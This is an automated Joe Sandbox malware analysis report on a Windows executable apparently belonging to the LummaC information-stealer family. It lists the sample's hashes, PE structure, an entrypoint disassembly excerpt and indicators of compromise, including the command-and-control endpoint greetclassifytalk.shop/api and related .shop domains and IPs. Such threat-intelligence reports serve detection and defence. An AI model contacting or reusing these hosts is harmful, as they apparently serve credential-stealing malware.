http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.microsof	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
plaintediousidowsko.shop	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8z	0%	Avira URL Cloud	safe
https://api.sandbox.midtrans.comtimestamp	0%	Avira URL Cloud	safe
acceptabledcooeprs.shop	0%	Avira URL Cloud	safe
zippyfinickysofwps.shop	0%	Avira URL Cloud	safe
https://greetclassifytalk.shop/api	100%	Avira URL Cloud	malware
https://api.midtrans.cominvalid	0%	Avira URL Cloud	safe
obsceneclassyjuwks.shop	0%	Avira URL Cloud	safe
zippyfinickysofwps.shop	1%	Virustotal		Browse
plaintediousidowsko.shop	1%	Virustotal		Browse
https://greetclassifytalk.shop/l	0%	Avira URL Cloud	safe
https://protobuf.dev/reference/go/faq#	0%	Avira URL Cloud	safe
https://greetclassifytalk.shop/api	13%	Virustotal		Browse
obsceneclassyjuwks.shop	1%	Virustotal		Browse
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
holicisticscrarws.shop	0%	Avira URL Cloud	safe
https://greetclassifytalk.shop/apiE=	0%	Avira URL Cloud	safe
acceptabledcooeprs.shop	1%	Virustotal		Browse
https://greetclassifytalk.shop/	0%	Avira URL Cloud	safe
https://protobuf.dev/reference/go/faq#	0%	Virustotal		Browse
https://protobuf.dev/reference/go/faq#namespace-conflictMpohxHrXTsWUtcYRySvTtdvgYoOzPaTLHQkyDGHWUOSc	0%	Avira URL Cloud	safe
greetclassifytalk.shop	0%	Avira URL Cloud	safe
boredimperissvieos.shop	0%	Avira URL Cloud	safe
https://fastcopy.jpF	0%	Avira URL Cloud	safe
https://greetclassifytalk.shop/apio	0%	Avira URL Cloud	safe
greetclassifytalk.shop	1%	Virustotal		Browse
https://greetclassifytalk.shop/K	0%	Avira URL Cloud	safe
https://greetclassifytalk.shop/	1%	Virustotal		Browse
sweetsquarediaslw.shop	0%	Avira URL Cloud	safe
https://protobuf.dev/reference/go/faq#namespace-conflictMpohxHrXTsWUtcYRySvTtdvgYoOzPaTLHQkyDGHWUOSc	0%	Virustotal		Browse
https://fastcopy.jp	0%	Avira URL Cloud	safe
https://greetclassifytalk.shop/apiu	0%	Avira URL Cloud	safe
miniaturefinerninewjs.shop	0%	Avira URL Cloud	safe
holicisticscrarws.shop	1%	Virustotal		Browse
sweetsquarediaslw.shop	1%	Virustotal		Browse
https://greetclassifytalk.shop:443/api6	0%	Avira URL Cloud	safe
boredimperissvieos.shop	1%	Virustotal		Browse
https://fastcopy.jp	0%	Virustotal		Browse
miniaturefinerninewjs.shop	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
greetclassifytalk.shop	104.21.51.78	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
plaintediousidowsko.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
acceptabledcooeprs.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
zippyfinickysofwps.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://greetclassifytalk.shop/api	true	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
obsceneclassyjuwks.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
holicisticscrarws.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
greetclassifytalk.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
boredimperissvieos.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
sweetsquarediaslw.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
miniaturefinerninewjs.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8z	BitLockerToGo.exe, 00000002.00000003.1877928350.000000000540B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.sandbox.midtrans.comtimestamp	file.exe	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.midtrans.cominvalid	file.exe	false	Avira URL Cloud: safe	unknown
https://greetclassifytalk.shop/l	BitLockerToGo.exe, 00000002.00000003.1835896687.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1836017932.0000000002F6C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	BitLockerToGo.exe, 00000002.00000003.1877928350.000000000540B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://protobuf.dev/reference/go/faq#	file.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	BitLockerToGo.exe, 00000002.00000003.1836501594.000000000537C000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1836625769.0000000005375000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	BitLockerToGo.exe, 00000002.00000003.1836501594.000000000537C000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1836625769.0000000005375000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000002.00000003.1870382637.0000000005447000.00000004.00000800.00020000.00000000.sdmp	false		high
https://greetclassifytalk.shop/apiE=	BitLockerToGo.exe, 00000002.00000003.1898927599.0000000002FC7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://greetclassifytalk.shop/	BitLockerToGo.exe, 00000002.00000003.1898927599.0000000002FC7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1898840604.0000000005362000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1926277299.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1927324349.0000000002F28000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://protobuf.dev/reference/go/faq#namespace-conflictMpohxHrXTsWUtcYRySvTtdvgYoOzPaTLHQkyDGHWUOSc	file.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	BitLockerToGo.exe, 00000002.00000003.1877928350.000000000540B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fastcopy.jpF	file.exe	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	BitLockerToGo.exe, 00000002.00000003.1836625769.0000000005350000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	BitLockerToGo.exe, 00000002.00000003.1836501594.000000000537E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://greetclassifytalk.shop/apio	BitLockerToGo.exe, 00000002.00000003.1898927599.0000000002FC7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://greetclassifytalk.shop/K	BitLockerToGo.exe, 00000002.00000003.1835896687.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1836017932.0000000002F6C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fastcopy.jp	file.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	BitLockerToGo.exe, 00000002.00000003.1836625769.0000000005350000.00000004.00000800.00020000.00000000.sdmp	false		high
https://greetclassifytalk.shop/apiu	BitLockerToGo.exe, 00000002.00000002.1927708652.0000000002FD0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1926277299.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	BitLockerToGo.exe, 00000002.00000003.1870382637.0000000005447000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://greetclassifytalk.shop:443/api6	BitLockerToGo.exe, 00000002.00000003.1912351662.0000000005408000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	BitLockerToGo.exe, 00000002.00000003.1877928350.000000000540B000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.51.78	greetclassifytalk.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1435438
Start date and time:	2024-05-02 17:57:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 53% Number of executed functions: 32 Number of non-executed functions: 56
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 7436 because there are no executed function
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:58:16	API Interceptor	8x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.51.78	file.exe	Get hash	malicious	LummaC, GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
greetclassifytalk.shop	file.exe	Get hash	malicious	LummaC	Browse	172.67.177.98
	file.exe	Get hash	malicious	LummaC	Browse	104.21.51.78
	file.exe	Get hash	malicious	LummaC	Browse	172.67.177.98
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	172.67.177.98
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	172.67.177.98
	file.exe	Get hash	malicious	LummaC	Browse	104.21.51.78
	file.exe	Get hash	malicious	LummaC	Browse	104.21.51.78

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	PO 2_5_24.xlam.xlsx	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.12.205
	SC-246214.doc	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	INQUIRY#46789.xla.xlsx	Get hash	malicious	Remcos	Browse	172.67.206.230
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.19
	https://gamma.app/docs/Untitled-9umekc4egyknsob	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://pot.soundestlink.com/ce/c/6632d4bee95a733e5b11f90c/66336ffc6318519b93081379/663370167f943a5ca8cda723?signature=f078b55518dec9be5687b83cc67125e09d569e23f92457525770ae31d9667613	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	172.67.129.30
	oO2wHSVFJM.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	9d565bee-e6ce-1842-e729-b0df8f08ed34.eml	Get hash	malicious	HTMLPhisher	Browse	172.64.41.3
	http://jimdo-storage.global.ssl.fastly.net/file/a45fef49-77a5-4e4b-b081-f19dd1b9626e/b0aa30c8-07ba-4acf-a6e6-856aaa7da320.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	http://jimdo-storage.global.ssl.fastly.net/file/a45fef49-77a5-4e4b-b081-f19dd1b9626e/b0aa30c8-07ba-4acf-a6e6-856aaa7da320.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	er).xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.51.78
	SAL_000268_DOM.xls	Get hash	malicious	Unknown	Browse	104.21.51.78
	5801.xls	Get hash	malicious	Unknown	Browse	104.21.51.78
	file.exe	Get hash	malicious	LummaC	Browse	104.21.51.78
	oO2wHSVFJM.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.51.78
	4yFaZU8fhT.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.51.78
	RY5YJaMEWE.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.51.78
	MejqsB9tx9.exe	Get hash	malicious	Amadey	Browse	104.21.51.78
	OUZXNOqKXg.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.51.78
	0BzQNa8hYd.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.51.78

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.38701211855582
TrID:	MS Flight Simulator Gauge (35075/8) 68.65% Win64 Executable (generic) (12005/4) 23.50% Generic Win/DOS Executable (2004/3) 3.92% DOS Executable Generic (2002/1) 3.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	file.exe
File size:	7'379'456 bytes
MD5:	e04cdcb33735437ae84e00dd308fa527
SHA1:	f0252f8a571ccb35de4b407f28bbc04627e3237b
SHA256:	8640a33799d7774932b0a197183a2051ef417b57e290b0d1aa32929c02a45393
SHA512:	d99e80c28f94d3365871e2258127bb45c72bacfeca737d31c0ccc2ef30a3b3bb1c6d494502bff98ba4a4b2b1052ca9efed76b642bfd436ab7b43f4ceb82ea14b
SSDEEP:	49152:6Or1QlR8tElrFMtZkk1vwa6lghIEzC5MFQ/Rp5qL9dQ0R/yAqGixjg5EV5Jznv/I:LGRaELV7zVoQ0R/lEdI7iNj
TLSH:	C2764907ECA149E4C0ED92748566815A7B72BC494B3027D72B60F7382FB6BD0AF7A354
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$../...p................@..............................v.......q...`... ............................

File Icon


Icon Hash:	8e0369317929070e

Static PE Info

General

Entrypoint:	0x1400014c0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x402e62f0, 0x1, 0x402e62c0, 0x1, 0x402e9d50, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	5929190c8765f5bc37b052ab5c6c53e7

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [006CF255h]
mov dword ptr [eax], 00000001h
call 00007F2D9932E52Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [006CF235h]
mov dword ptr [eax], 00000000h
call 00007F2D9932E50Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007F2D9961E42Ch
dec eax
test eax, eax
sete al
movzx eax, al
neg eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007F2D9932E849h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword ptr [eax]
inc edi
outsd
and byte ptr [edx+75h], ah
imul ebp, dword ptr [esp+20h], 203A4449h
and ch, byte ptr [ebx+7Ah]
xor dl, byte ptr [edx+41h]
cmp byte ptr [ebp+69h], dl
jnbe 00007F2D9932E8E4h
imul esi, dword ptr [esi+eax*2+6Bh], 76342D67h
dec edx
das
push edx
bound esi, dword ptr [eax+48h]
jns 00007F2D9932E8DCh
pop edx
dec edi
xor byte ptr [ebp+5Fh], al
dec cx
push ebp
js 00007F2D9932E8AAh
dec ebx
dec eax
xor al, 4Dh
das
inc edi
inc esp
xor byte ptr [eax], bh
dec edx
inc esp
jp 00007F2D9932E89Fh
jns 00007F2D9932E8D4h
outsd

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x744000	0x4e	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x745000	0x13d0	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x749000	0x143de	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6d1000	0x13d4c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x75e000	0xf12c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x6d0080	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x74547c	0x440	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2f0880	0x2f0a00	a30c3beeaf0c435985f83805daf52710	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x2f2000	0x3ffb0	0x40000	aece6b7a40c4ca7cb39e3464ab8f491e	False	0.38483428955078125	dBase III DBT, version number 0, next free block index 10, 1st item "4.8\011h1:ey/L8FGBMrJ1Xh+Rltj1MAFPZ4LOQYGJqNa5B1Na6B0="	4.94236231012946	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x332000	0x39eeb0	0x39f000	e2b8179f688d2469f241acc11c5ddbd9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0x6d1000	0x13d4c	0x13e00	93119aa1bac026b115ded2a17f408a5e	False	0.4066062303459119	data	5.653487717761268	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0x6e5000	0xc44	0xe00	288e05fdf921660d48450e3355fc1130	False	0.25613839285714285	data	3.9773968313183308	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x6e6000	0x5d580	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
